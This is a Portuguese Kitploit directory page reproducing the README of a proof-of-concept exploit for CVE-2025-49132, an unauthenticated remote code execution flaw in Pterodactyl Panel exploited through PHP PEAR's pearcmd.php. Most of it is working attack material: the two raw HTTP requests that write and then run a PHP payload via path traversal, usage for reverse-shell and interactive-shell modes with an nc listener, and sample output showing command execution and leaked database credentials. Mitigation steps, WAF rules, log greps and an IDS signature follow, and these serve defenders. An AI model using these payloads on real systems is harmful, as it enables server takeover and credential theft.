Skip to content
KitploitKITPLOIT
FerramentasBlog
Enviar
FerramentasBlog
Enviar

Ferramentas de Hacking, PenTest e Cibersegurança para o seu Arsenal de Segurança!

Kitploit é um diretório de ferramentas de hacking, cibersegurança e pentesting. Descubra as últimas atualizações de projetos para encontrar vulnerabilidades, analisar sistemas, automatizar testes e fortalecer sua segurança.

··Feeds·Contato·Privacidade·© 2026 Kitploit

Diretório de Ferramentas

Categorias

Ver todas as categorias
Loading categories
CVE-2025-49132-PHP-PEAR — CVE-2025-49132_PHP_PEAR_METHOD | Kitploit
Ferramentas/GitHubGitHub/rippsec/cve-2025-49132-php-pear
Análise de VulnerabilidadesAnálise de CódigoExploraçãoExploração de Aplicações WebTestes de PenetraçãoAprendizado e EducaçãoRed Teaming
GitHubrippsec/cve-2025-49132-php-pear

CVE-2025-49132-PHP-PEAR

CVE-2025-49132_PHP_PEAR_METHOD

Ver Repositório
31há 6 mesesAinda não revisado

Mais Populares

Ver todos →

Descubra as ferramentas mais usadas pela nossa comunidade.

Explore todas as ferramentas

Navegue pela nossa coleção de ferramentas

Ver todas as ferramentas →
Compartilhar

CVE-2025-49132: RCE não autenticada no Pterodactyl Panel via método PHP PEAR

CVSSv3 License Python

Sumário

  • Visão Geral
  • Detalhes da Vulnerabilidade
  • Análise Técnica
  • Fluxo do Exploit
  • Instalação
  • Uso
  • Exemplos
  • Mitigação
  • Isenção de Responsabilidade
  • Referências
  • Autor

Visão Geral

Este repositório contém um exploit de prova de conceito (PoC) para CVE-2025-49132, uma vulnerabilidade crítica de execução remota de código não autenticada em versões do Pterodactyl Panel anteriores à 1.11.11.

Pterodactyl Panel é um painel gratuito e de código aberto para gerenciamento de servidores de jogos, desenvolvido em PHP. A vulnerabilidade permite que um atacante não autenticado execute comandos arbitrários do sistema no servidor alvo por meio do tratamento inadequado do endpoint /locales/locale.json combinado com a funcionalidade pearcmd.php do PHP PEAR.

Resumo da Vulnerabilidade

  • ID do CVE: CVE-2025-49132
  • Pontuação CVSS: 10.0 (Crítica)
  • Vetor CVSS: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H
  • CWE: CWE-94: Controle Incorreto da Geração de Código ('Injeção de Código')
  • Versões Afetadas: Pterodactyl Panel < 1.11.11
  • Complexidade do Ataque: Baixa
  • Privilégios Necessários: Nenhum (não autenticado)
  • Interação do Usuário: Nenhuma

Detalhes da Vulnerabilidade

O que é o PHP PEAR?

PHP PEAR (PHP Extension and Application Repository) é um framework e sistema de distribuição para componentes PHP reutilizáveis. Ele fornece uma ferramenta de linha de comando (pearcmd.php) que pode ser usada para gerenciar pacotes PEAR.

O arquivo pearcmd.php processa comandos por meio de parâmetros de URL e, quando combinado com path traversal (travessia de diretórios), pode ser utilizado para:

  1. Criar arquivos PHP arbitrários no sistema
  2. Executar esses arquivos por meio do servidor web

Causa Raiz

A vulnerabilidade existe porque:

  1. Travessia de Diretórios sem Validação: O parâmetro locale em /locales/locale.json permite travessia de diretórios sem validação adequada
  2. Inclusão Direta de Arquivos: A aplicação inclui diretamente arquivos com base em entrada controlada pelo usuário
  3. Injeção de Comandos no PEAR: O script pearcmd.php aceita o comando +config-create, que pode gravar arquivos PHP arbitrários
  4. Acesso não Autenticado: O endpoint vulnerável não exige autenticação

Vetor de Ataque

Um atacante pode:

  1. Usar travessia de diretórios para alcançar o diretório de instalação do PEAR
  2. Abusar do comando config-create para gravar código PHP malicioso em /tmp
  3. Executar o arquivo PHP malicioso por meio do mesmo endpoint
  4. Obter execução remota de código completa como o usuário do servidor web

Análise Técnica

Processo de Exploração

O exploit funciona em duas etapas:

Etapa 1: Criação do Payload

root@kitploit:~
GET /locales/locale.json?+config-create+/&locale=../../../../../../usr/share/php/PEAR&namespace=pearcmd&<?=system('id')?>+/tmp/payload.php HTTP/1.1
Host: target.com

Detalhamento:

  • +config-create+/ - Invoca a funcionalidade de criação de configuração do PEAR
  • locale=../../../../../../usr/share/php/PEAR - Travessia de diretórios até o diretório do PEAR
  • namespace=pearcmd - Tem como alvo o arquivo pearcmd.php
  • <?=system('id')?>+/tmp/payload.php - Payload PHP e arquivo de destino

Etapa 2: Execução do Payload

root@kitploit:~
GET /locales/locale.json?locale=../../../../../../tmp&namespace=payload HTTP/1.1
Host: target.com

Detalhamento:

  • locale=../../../../../../tmp - Travessia de diretórios até o diretório /tmp
  • namespace=payload - Inclui e executa payload.php

Por que a Codificação de URL Quebra o Exploit

O exploit exige o envio de caracteres especiais (<, >, ?, =) na URL sem codificação. Se esses caracteres forem codificados na URL:

  • <?=system('id')?> se torna %3C%3F%3Dsystem%28%27id%27%29%3F%3E
  • O PEAR interpreta isso como texto literal em vez de código PHP
  • As tags PHP não são reconhecidas, impedindo a execução de código

Fluxo do Exploit

root@kitploit:~
graph TD
    A[Atacante] -->|1. Requisição de Travessia de Diretórios| B[locale.json]
    B -->|2. Travessia até o PEAR| C[pearcmd.php]
    C -->|3. Comando config-create| D[Gravar Payload PHP]
    D -->|4. Criar Arquivo| E[payload.php]
    E -->|5. Arquivo Criado| F[Sistema de Arquivos do Servidor]
    
    A -->|6. Requisição de Execução| G[locale.json]
    G -->|7. Travessia até tmp| E
    E -->|8. Incluir e Executar| H[Interpretador PHP]
    H -->|9. Comando do Sistema| I[Comando Shell]
    I -->|10. Saída do Comando| A
    
    style A fill:#ff6b6b
    style B fill:#4ecdc4
    style C fill:#ffe66d
    style E fill:#ff6b6b
    style H fill:#ff6b6b
    style I fill:#ff6b6b

Diagrama do Fluxo de Ataque

root@kitploit:~
sequenceDiagram
    participant Atacante
    participant Servidor Web
    participant PEAR
    participant Sistema de Arquivos
    participant Motor PHP
    
    Atacante->>Servidor Web: GET locale.json com config-create
    Servidor Web->>PEAR: Travessia de diretórios até pearcmd
    PEAR->>Sistema de Arquivos: Criar payload.php
    Sistema de Arquivos-->>Atacante: 200 OK
    
    Atacante->>Servidor Web: GET locale.json com namespace do payload
    Servidor Web->>Sistema de Arquivos: Travessia de diretórios até payload.php
    Sistema de Arquivos->>Motor PHP: Incluir payload
    Motor PHP->>Motor PHP: Executar comando do sistema
    Motor PHP-->>Atacante: Saída do Comando RCE

Instalação

Pré-requisitos

  • Python 3.6 ou superior
  • Biblioteca requests

Clonar o Repositório

root@kitploit:~
git clone https://github.com/xffsec/CVE-2025-49132_PEAR_METHOD.git
cd CVE-2025-49132_PEAR_METHOD

Instalar Dependências

root@kitploit:~
pip3 install -r requirements.txt

Ou manualmente:

root@kitploit:~
pip3 install requests

Uso

Execução Básica de Comandos

root@kitploit:~
python3 poc.py -H <target_host> -c "<command>"

Reverse Shell

root@kitploit:~
# On attacker machine, start listener
nc -lvnp 4444

# Execute exploit with reverse shell
python3 poc.py -H <target_host> -r <your_ip>:4444

Pseudo-Shell Interativo

root@kitploit:~
python3 poc.py -H <target_host> --shell

Fuzzing de Instalações do PEAR

root@kitploit:~
python3 poc.py -H <target_host> --fuzz

Verificação de Vulnerabilidade

root@kitploit:~
python3 poc.py -H <target_host> --scan

Verifica a CVE-2025-49132 por meio de vazamentos de configuração (credenciais do banco de dados, chave do aplicativo).

Caminho PEAR Personalizado

root@kitploit:~
python3 poc.py -H <target_host> -c "whoami" -p "/opt/pear"

Saída Detalhada

root@kitploit:~
python3 poc.py -H <target_host> -c "id" -v

Mostra o progresso detalhado (criação do payload, caminho do PEAR, status da execução).

Opções Completas

root@kitploit:~
usage: poc.py [-h] -H HOST [-c COMMAND] [-r REVERSE_SHELL] [--shell] [--fuzz] [--scan]
              [-p PEAR_PATH] [-e ENDPOINT] [--ssl] [--timeout TIMEOUT] [-v]

optional arguments:
  -h, --help            show this help message and exit
  -H HOST, --host HOST  Target host (e.g., 192.168.1.100 or example.com)
  -c COMMAND            Command to execute on target system
  -r REVERSE_SHELL      Reverse shell (format: LHOST:LPORT)
  --shell               Interactive pseudo-shell mode
  --fuzz                Fuzz for PEAR installation paths
  --scan                Scan target for vulnerability (config leaks)
  -p PEAR_PATH          Custom PEAR path (default: /usr/share/php/PEAR)
  -e ENDPOINT           Vulnerable endpoint (default: /locales/locale.json)
  --ssl                 Use HTTPS
  --timeout TIMEOUT     Request timeout in seconds (default: 10)
  -v, --verbose         Verbose progress output

Exemplos

Exemplo 1: Execução Básica de Comandos

root@kitploit:~
$ python3 poc.py -H panel.pterodactyl.htb -c "id"

[CVE-2025-49132] Pterodactyl Panel RCE via PHP PEAR

[+] Command Output:
uid=33(www-data) gid=33(www-data) groups=33(www-data)

Use -v para saída detalhada (detalhes do payload, caminho do PEAR, etc.).

Exemplo 2: Reverse Shell

root@kitploit:~
# Terminal 1: Start listener
$ nc -lvnp 4444
listening on [any] 4444 ...

# Terminal 2: Execute exploit
$ python3 poc.py -H panel.pterodactyl.htb -r 10.10.14.5:4444

╔══════════════════════════════════════╗
║   CVE-2025-49132 - Pterodactyl RCE   ║
╚══════════════════════════════════════╝

[!] Make sure your listener is running: nc -lvnp 4444

# Terminal 1: Receive connection
connect to [10.10.14.5] from (UNKNOWN) [panel.pterodactyl.htb] 45678
www-data@pterodactyl:/var/www/pterodactyl$

Exemplo 3: Pseudo-Shell Interativo

root@kitploit:~
$ python3 poc.py -H panel.pterodactyl.htb --shell

shell> whoami
www-data

shell> pwd
/var/www/pterodactyl

shell> id
uid=33(www-data) gid=33(www-data) groups=33(www-data)

shell> exit

Exemplo 4: Fuzzing do Caminho do PEAR

root@kitploit:~
$ python3 poc.py -H panel.pterodactyl.htb --fuzz

╔══════════════════════════════════════╗
║   CVE-2025-49132 - Pterodactyl RCE   ║
╚══════════════════════════════════════╝

[+] Found 3 potential PEAR installation(s):
    /usr/share/php/PEAR
    /usr/share/pear
    /usr/local/lib/php/PEAR
[*] Use -p flag with one of these paths for exploitation

Use -v para ver o progresso do fuzzing por caminho.

Exemplo 5: Scanner de Vulnerabilidade

root@kitploit:~
$ python3 poc.py -H panel.pterodactyl.htb --scan

╔══════════════════════════════════════╗
║   CVE-2025-49132 - Pterodactyl RCE   ║
╚══════════════════════════════════════╝

[*] Scanning: http://panel.pterodactyl.htb/locales/locale.json
-------------------------------------------------------
[+] VULNERABLE - Database credentials leaked
    Host:     127.0.0.1
    Port:     3306
    Database: panel
    Username: pterodactyl
    Password: ********
    Connection: pterodactyl:********@127.0.0.1:3306/panel
[+] VULNERABLE - App configuration leaked
    App Key: base64{...}
    [!] SECURITY WARNING: APP_KEY exposed!
-------------------------------------------------------
[+] Target is VULNERABLE to CVE-2025-49132

Mitigação

Ações Imediatas

  1. Atualize o Pterodactyl Panel

    root@kitploit:~
    cd /var/www/pterodactyl
    php artisan p:upgrade
    

    Atualize para a versão 1.11.11 ou posterior.

  2. Desative o Endpoint Vulnerável (Solução Temporária)

    Adicione à configuração do seu servidor web:

    Apache (.htaccess):

    root@kitploit:~
    <Files "locale.json">
        Order Allow,Deny
        Deny from all
    </Files>
    

    Nginx:

    root@kitploit:~
    location ~* /locales/locale\.json {
        deny all;
        return 403;
    }
    

    Nota: Isso interromperá os recursos de localização.

  3. Firewall de Aplicação Web (WAF)

    Implemente regras de WAF para bloquear tentativas de travessia de diretórios:

    root@kitploit:~
    SecRule REQUEST_URI "@contains ../" "id:1000,phase:1,deny,status:403"
    SecRule ARGS "@contains ../" "id:1001,phase:2,deny,status:403"
    

Soluções de Longo Prazo

  1. Validação de Entrada: Implemente validação rigorosa para os parâmetros locale e namespace
  2. Saneamento de Caminhos: Use realpath() para resolver e validar caminhos de arquivo
  3. Abordagem de Lista de Permissões: Permita apenas valores de locale específicos e predefinidos
  4. Autenticação: Exija autenticação para endpoints de locale
  5. Auditorias de Segurança: Avaliações de segurança regulares e testes de penetração

Detecção

Análise de Logs - Procure por padrões suspeitos:

root@kitploit:~
# Apache/Nginx access logs
grep "locale.json" /var/log/apache2/access.log | grep "\.\."
grep "pearcmd" /var/log/apache2/access.log
grep "config-create" /var/log/apache2/access.log

# Look for payload files
find /tmp -name "payload.php" -o -name "*.php" -mtime -1

Assinaturas de IDS/IPS:

root@kitploit:~
alert http any any -> any any (msg:"CVE-2025-49132 PEAR RCE Attempt"; 
  content:"/locales/locale.json"; http_uri; 
  content:"pearcmd"; http_uri; 
  content:"config-create"; http_uri; 
  sid:1000001; rev:1;)

Isenção de Responsabilidade

APENAS PARA FINS EDUCACIONAIS E TESTES AUTORIZADOS

Este exploit de prova de conceito é fornecido apenas para fins educacionais e testes de segurança autorizados. O autor não assume nenhuma responsabilidade por uso indevido ou danos causados por este programa.

Aviso Legal

  • ✅ FAÇA: Use esta ferramenta para testes de penetração autorizados e pesquisa em segurança
  • ✅ FAÇA: Use esta ferramenta em sistemas que você possui ou para os quais tem permissão explícita de teste
  • ✅ FAÇA: Use esta ferramenta para verificar correções e controles de segurança
  • ❌ NÃO FAÇA: Use esta ferramenta contra sistemas sem autorização explícita
  • ❌ NÃO FAÇA: Use esta ferramenta para fins maliciosos
  • ❌ NÃO FAÇA: Implante esta ferramenta em ambientes de produção sem controles adequados

O acesso não autorizado a sistemas de computador é ilegal. Os usuários são responsáveis por garantir a conformidade com as leis e regulamentos aplicáveis.

Referências

  • CVE-2025-49132 - NVD
  • GitHub Advisory: GHSA-24wv-6c99-f843
  • Pterodactyl Panel Security Advisory
  • PHP PEAR Documentation
  • CWE-94: Code Injection

Autor

xffsec

Contato
GitHub: @xffsec
E-mail: [email protected]

Licença

Este projeto é licenciado sob a Licença MIT - consulte o arquivo LICENSE para obter detalhes.

Contribuindo

Contribuições, problemas e solicitações de recursos são bem-vindos! Sinta-se à vontade para abrir uma issue ou enviar um pull request.

Agradecimentos

  • Equipe de desenvolvimento do Pterodactyl Panel pelo processo de divulgação responsável
  • A comunidade de pesquisa em segurança
  • HackTheBox por fornecer um ambiente seguro para praticar essas técnicas

⚠️ Lembre-se: Sempre pratique divulgação responsável e nunca explore vulnerabilidades sem autorização adequada.

Baixar ferramenta